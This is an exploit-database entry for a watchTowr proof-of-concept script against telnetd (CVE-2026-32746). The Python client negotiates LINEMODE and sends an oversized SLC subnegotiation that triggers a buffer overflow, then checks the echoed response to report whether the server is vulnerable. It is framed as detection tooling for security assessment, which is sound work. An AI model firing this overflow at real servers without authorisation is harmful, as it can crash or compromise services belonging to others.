Exploit database

GH-b897a7112693123ec02cf9c37265583f

watchtowrlabs/watchtowr-vs-telnetd-cve-2026-32746

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-32746

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

watchtowr-vs-telnetd-CVE-2026-32746.py

Python · 15,063 bytes
#!/usr/bin/env python3
import argparse
import socket
import sys
import enum
import time

class TelnetCommand(enum.IntEnum):
    IAC  = 0xFF
    DONT = 0xFE
    DO   = 0xFD
    WONT = 0xFC
    WILL = 0xFB
    SB   = 0xFA
    SE   = 0xF0

class TelnetOption(enum.IntEnum):
    ECHO        = 0x01
    SGA         = 0x03
    STATUS      = 0x05
    TTYPE       = 0x18  # Terminal Type
    NAWS        = 0x1F  # Window Size
    TSPEED      = 0x20  # Terminal Speed
    LFLOW       = 0x21  # Remote Flow Control
    LINEMODE    = 0x22  # Linemode
    XDISPLOC    = 0x23  # X Display Location
    OLD_ENVIRON = 0x24
    AUTH        = 0x25  # Authentication
    ENCRYPT     = 0x26  # Encryption
    NEW_ENVIRON = 0x27

class TelnetSubnegotiationQualifier(enum.IntEnum):
    IS   = 0x00
    SEND = 0x01

class TelnetLinemodeSuboption(enum.IntEnum):
    LM_MODE = 0x01
    LM_FORWARDMASK = 0x02
    LM_SLC = 0x03
    LM_STATUS = 0x05

class TelnetClient:
    def __init__(self, host, port, connect_timeout=5.0, read_timeout=5.0, verbose=False, linemode_only=False):
        self.host = host
        self.port = port
        self.connect_timeout = connect_timeout
        self.read_timeout = read_timeout
        self.verbose = verbose
        self.linemode_only = linemode_only
        self.sock = None
        self.text_mode = False
        self.overflow_sent = False
        self.slc = b''
        self.slc_response = None
        self.linemode_supported = False
        self.linemode_attempts = 0

    def set_slc(self, slc):
        self.slc = slc
        return self

    def connect(self):
        self.disconnect()
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.settimeout(self.connect_timeout)
            self.sock.connect((self.host, self.port))
            return True
        except Exception as e:
            self.sock = None
            return False

    def recv(self, timeout=None):
        """
        Receive data from the socket with an optional timeout. If no timeout is provided, uses the default read timeout. Retries up to 5 times if no data is received.

        Args:
            timeout (float): Optional timeout for this read operation. If not provided, uses the default read timeout.

        Returns:
            bytes: The data received from the socket. If no data is received after retries, returns None.
        """
        if self.sock is None:
            return None
        old_timeout = self.sock.gettimeout()
        self.sock.settimeout(timeout if timeout is not None else self.read_timeout)
        buffer = b""
        try:
            while True:
                chunk = self.sock.recv(4096)
                if not chunk:
                    break
                buffer += chunk
        except socket.timeout:
            pass
        finally:
            if timeout is not None:
                self.sock.settimeout(old_timeout)
        return buffer

    def send(self, data):
        if not self.sock:
            return False
        self.sock.sendall(data)
        return True

    def send_cmd(self, cmd, opt):
        if self.verbose:
            cmd_name = TelnetCommand(cmd).name
            opt_name = TelnetOption(opt).name if opt in TelnetOption._value2member_map_ else hex(opt)
            print(f"[>] IAC {cmd_name} {opt_name}")
        self.send(bytes([TelnetCommand.IAC, cmd, opt]))

    def send_sb(self, opt, payload=b'', qualifier=TelnetSubnegotiationQualifier.IS):
        if self.verbose:
            opt_name = TelnetOption(opt).name if opt in TelnetOption._value2member_map_ else hex(opt)
            print(f"[>] IAC SB {opt_name} ({payload.hex()}) IAC SE")
        self.send(bytes([TelnetCommand.IAC, TelnetCommand.SB, opt, qualifier]) + payload + bytes([TelnetCommand.IAC, TelnetCommand.SE]))

    def approve(self, chunk):
        self.send_cmd(TelnetCommand.WILL if chunk['cmd'] == TelnetCommand.DO else TelnetCommand.DO, chunk['opt'])

    def reject(self, chunk):
        self.send_cmd(TelnetCommand.WONT if chunk['cmd'] == TelnetCommand.DO else TelnetCommand.DONT, chunk['opt'])

    def next(self, timeout=None):
        """
        Read the next chunk of data from the server and parse it into Telnet commands and text. Retries up to 5 times if no data is received.

        Args:
            timeout (float): Optional timeout for this read operation. If not provided, uses the default read timeout.

        Returns:
            tuple: A tuple containing a list of parsed command chunks and the remaining text data. If no data is received, returns (None, b'').
        """
        if not self.sock:
            return None, b''
        for _ in range(3):
            buffer = self.recv(timeout)
            if buffer is None or len(buffer) == 0:
                time.sleep(0.1)
                continue
            return self.parse(buffer)
        return None, b''

    def parse(self, data):
        """
        Parse incoming data into Telnet commands and text. Handles IAC escaping and subnegotiation blocks.

        Args:
            data (bytes): The raw data received from the Telnet server.
        
        Returns:
            tuple: A tuple containing a list of parsed command chunks and the remaining text data.
        """
        chunks = []
        text = b""
        offset = 0
        while offset < len(data):
            if data[offset] != TelnetCommand.IAC:
                text += data[offset:offset+1]
                offset += 1
                continue
            if offset + 1 >= len(data):
                break
            chunk = {'type': 'unknown', 'cmd': data[offset + 1]}
            offset += 1

            if chunk['cmd'] in (TelnetCommand.DO, TelnetCommand.DONT, TelnetCommand.WILL, TelnetCommand.WONT):
                chunk['type'] = 'command'
                if offset + 1 >= len(data):
                    break
                chunk['opt'] = data[offset + 1]
                offset += 2
                if self.verbose:
                    opt_name = TelnetOption(chunk['opt']).name if chunk['opt'] in TelnetOption._value2member_map_ else hex(chunk['opt'])
                    print(f"[<] IAC {TelnetCommand(chunk['cmd']).name} {opt_name}")
                chunks.append(chunk)
                continue

            if chunk['cmd'] == TelnetCommand.SB:
                chunk['type'] = 'subnegotiation'
                chunk['data'] = b''
                chunk['opt'] = data[offset + 1] if offset + 1 < len(data) else 0
                offset += 2
                while offset < len(data):
                    if data[offset] == TelnetCommand.IAC:
                        if offset + 1 < len(data) and data[offset + 1] == TelnetCommand.SE:
                            offset += 2
                            break
                        elif offset + 1 < len(data) and data[offset + 1] == TelnetCommand.IAC:
                            chunk['data'] += bytes([TelnetCommand.IAC])
                            offset += 2
                            continue
                    chunk['data'] += bytes([data[offset]])
                    offset += 1
                if self.verbose:
                    opt_name = TelnetOption(chunk['opt']).name if chunk['opt'] in TelnetOption._value2member_map_ else hex(chunk['opt'])
                    print(f"[<] IAC SB {opt_name} {chunk['data'].hex()} IAC SE")
                chunks.append(chunk)
                continue

            offset += 1
            if self.verbose:
                print(f"[<] Unhandled: IAC {chunk['cmd']:#02x}")
            chunks.append(chunk)
        return chunks, text

    def negotiate(self):
        """
        Perform the Telnet negotiation phase, responding to server commands and subnegotiations.
        Continues until the server stops sending commands or text.
        Returns the accumulated text output from the server after negotiation is complete.
        """
        output = b''
        while True:
            chunks, text = self.next()

            if not self.text_mode and b'\r\n' in text:
                text = text.split(b'\r\n', 1)[1]
                self.text_mode = True
            if self.text_mode:
                output += text
            if chunks is None:
                return output

            for chunk in chunks:
                if chunk['type'] == 'command':
                    self.handle_command(chunk)
                    
                elif chunk['type'] == 'subnegotiation':
                    if len(chunk['data']) >= 1:
                        self.handle_subnegotiation(chunk)

            if self.verbose:
                print('--------------------')

    def handle_command(self, chunk):
        """
        Handle incoming Telnet negotiation commands from the server.
        Approves or rejects options based on predefined rules.

        Args:
            chunk (dict): A dictionary representing the parsed Telnet command, containing keys like 'cmd' and 'opt'.
        """

        # Reject options we don't need
        if chunk['opt'] in [TelnetOption.AUTH, TelnetOption.NEW_ENVIRON, TelnetOption.ECHO, TelnetOption.ENCRYPT]:
            self.reject(chunk)
            return

        # Request LINEMODE to keep negotiation alive (max 3 attempts)
        if self.linemode_attempts < 3:
            self.linemode_attempts += 1
            self.send_cmd(TelnetCommand.WILL, TelnetOption.LINEMODE)

        # Only approve DO/WILL from the server; ignore DONT/WONT (server refusing)
        if chunk['cmd'] in (TelnetCommand.DONT, TelnetCommand.WONT):
            return

        if chunk['opt'] == TelnetOption.LINEMODE:
            if chunk['cmd'] == TelnetCommand.DO:
                self.linemode_supported = True
            self.approve(chunk)
            return

        self.approve(chunk)

    def handle_subnegotiation(self, chunk):
        """
        Handle incoming Telnet subnegotiation blocks from the server.
        Responds to specific options and qualifiers, and triggers the overflow when appropriate.

        Args:
            chunk (dict): A dictionary representing the parsed Telnet subnegotiation, containing keys like 'opt' and 'data'.
        """
        if len(chunk['data']) < 1:
            return
        qualifier = chunk['data'][0]

        # Capture SLC response for later analysis
        if chunk['opt'] == TelnetOption.LINEMODE and qualifier == TelnetLinemodeSuboption.LM_SLC and len(chunk['data'][1:]) > 0:
           self.slc_response = chunk['data'][1:]
           return

        # LM_MODE -> send overflow SLC (skip if linemode_only)
        if qualifier == TelnetLinemodeSuboption.LM_MODE and chunk['opt'] == TelnetOption.LINEMODE:
            if not self.linemode_only and not self.overflow_sent:
                if self.verbose:
                    print('[#] Triggering overflow with SLC subnegotiation...')
                self.send_sb(chunk['opt'], self.slc, qualifier=TelnetLinemodeSuboption.LM_SLC)
                self.overflow_sent = True
            return

        # Only respond to SEND requests from here
        if qualifier != TelnetSubnegotiationQualifier.SEND:
            return

        if chunk['opt'] == TelnetOption.TSPEED:
            return self.send_sb(chunk['opt'], b"38400,38400")

        if chunk['opt'] == TelnetOption.TTYPE:
            return self.send_sb(chunk['opt'], b'xterm')

        if chunk['opt'] != TelnetOption.LINEMODE:
            return self.send_sb(chunk['opt'])

    def disconnect(self):
        try:
            self.sock.close()
        except Exception:
            pass
        self.sock = None

    def build_slc(self, func, flag, val):
        """
        Build a Single Line Command (SLC) for Telnet negotiation.
        Automatically handles the 0xFF escape for each byte.

        Args:
            func (int): The function code.
            flag (int): The flag code.
            val (int): The value code.

        Returns:
            bytes: The constructed SLC command.
        """
        b = bytes([func])
        if func == 0xff:
            b += bytes([0xff])
        b += bytes([flag])
        if flag == 0xff:
            b += bytes([0xff])
        b += bytes([val])
        if val == 0xff:
            b += bytes([0xff])
        return b

def main(args):
    banner = """                     __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
       \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
                  \\/          \\/     \\/                            

        watchtowr-vs-telnetd-CVE-2026-32746.py

        (*) telnetd CVE-2026-32746 Detection Artifact Generator
        
          - McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-32746]

"""
    print(banner)

    print(f"[#] Connecting to {args.rhost}:{args.rport}")
    client = TelnetClient(args.rhost, args.rport,
        connect_timeout=args.connect_timeout,
        read_timeout=args.read_timeout,
        verbose=args.verbose,
        linemode_only=args.linemode_only
    )
    if not client.connect():
        print(f"[!] Failed to connect to {args.rhost}:{args.rport}")
        sys.exit(1)
    print("[+] Connected")

    if not args.linemode_only:
        # Build overflow payload
        SLCBUF_SIZE = 108
        SLCBUF_HEADER = 4
        slc_fill_entries = (SLCBUF_SIZE - SLCBUF_HEADER) // 3  # 34 entries to fill

        # Fill slcbuf space
        slc = b''
        for i in range(slc_fill_entries): # slcbuf[4..105]
            slc += client.build_slc(0x01, 0x00, 0x41)

        client.set_slc(slc)

    # Negotiation phase
    client.negotiate()

    if not client.linemode_supported:
        print("[!] LINEMODE is not supported")
    else:
        print("[+] LINEMODE is supported")
        if not args.linemode_only:
            if client.slc_response is None or len(client.slc_response) == 0:
                print("[!] No SLC response received")
            elif slc[:-3].replace(b'\x00', b'\x80') == client.slc_response:
                print("[+] telnetd not vulnerable")
            else:
                print("[!] telnetd vulnerable")

    print('')
    client.disconnect()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="watchTowr ")
    parser.add_argument("-H", "--rhost", default="127.0.0.1", help="Target host")
    parser.add_argument("-p", "--rport", type=int, default=23, help="Target port")
    parser.add_argument('-ct', '--connect-timeout', type=float, default=5.0, help='Connection timeout')
    parser.add_argument("-rt", "--read-timeout", type=float, default=0.3, help="Read timeout")
    parser.add_argument("-l", "--linemode-only", action="store_true", help="Only check if linemode is supported, don't trigger overflow")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    main(parser.parse_args())